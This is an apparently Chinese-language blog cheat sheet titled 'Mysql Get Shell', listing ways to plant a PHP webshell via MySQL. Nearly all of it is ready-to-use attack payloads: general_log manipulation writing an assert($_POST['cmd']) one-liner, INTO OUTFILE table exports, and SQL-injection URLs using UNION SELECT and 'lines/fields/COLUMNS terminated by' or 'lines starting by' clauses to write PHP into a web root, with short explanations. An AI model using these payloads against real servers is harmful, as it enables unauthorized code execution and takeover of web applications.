Mysql Get Shell 姿势整理

日志写shell

show variables like 'general_log'; -- 查看日志是否开启
set global general_log=on; -- 开启日志功能
show variables like 'general_log_file'; -- 看看日志文件保存位置
set global general_log_file='tmp/general.lg'; -- 设置日志文件保存位置
show variables like 'log_output'; -- 看看日志输出类型 table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file'; -- 设置输出类型为file
SELECT'<?php assert($_POST["cmd"]);?>';  --通过日志来写入一句话:

导出shell

use test;   --连接 test 数据库。
drop table if exists sy;   --搜索并删除存在的 sy 这个表。
create table sy(eel text not null);   --建立这个sy表,然后里面一个eel的字段。
insert into sy(eel) values (‘<?php phpinfo(); ?>’);   --写进入一句话
SELECT eel FROM sy INTO OUTFILE ‘G:/2.txt’;   --把这句话再导出来。
DROP TABLE sy;   --删除这个表。

union select 写入

http://a.com/a.php?id=@ union select 1,2,3,4,'<?php phpinfo(); ?>' into outfile '/web/shell.php'
http://a.com/a.php?id=@ union select 1,2,3,4,'<?php phpinfo(); ?>' into dumpfile '/web/shell.php'

注意:

在windows下,位置的分隔符为 /(斜杠)。

lines terminated by 写入

http://a.com/a.php?id=1 into outfile '/web/shell.php' lines terminated by '<?php phpinfo(); ?>';
http://a.com/a.php?id=1 limit 1 into outfile '/web/shell.php' lines terminated by '<?php phpinfo(); ?>';

注入原理:

通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

lines starting by 写入

http://a.com/a.php?id=1 into outfile '/web/shell.php' lines starting by '<?php phpinfo(); ?>';
http://a.com/a.php?id=1 limit 1 into outfile '/web/shell.php' lines starting by '<?php phpinfo(); ?>';

注入原理:

利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

fields terminated by 写入

http://a.com/a.php?id=1 into outfile '/web/shell.php' fields terminated by '<?php phpinfo(); ?>';
http://a.com/a.php?id=1 limit 1 into outfile '/web/shell.php' fields terminated by '<?php phpinfo(); ?>';

注入原理:

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

COLUMNS terminated by 写入

http://a.com/a.php?id=1 into outfile '/web/shell.php' COLUMNS terminated by '<?php phpinfo(); ?>';
http://a.com/a.php?id=1 limit 1 into outfile '/web/shell.php' COLUMNS terminated by '<?php phpinfo(); ?>';

注入原理:

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

posted @ 2021-01-25 13:44  Alad1ng  阅读(113)  评论(0编辑  收藏  举报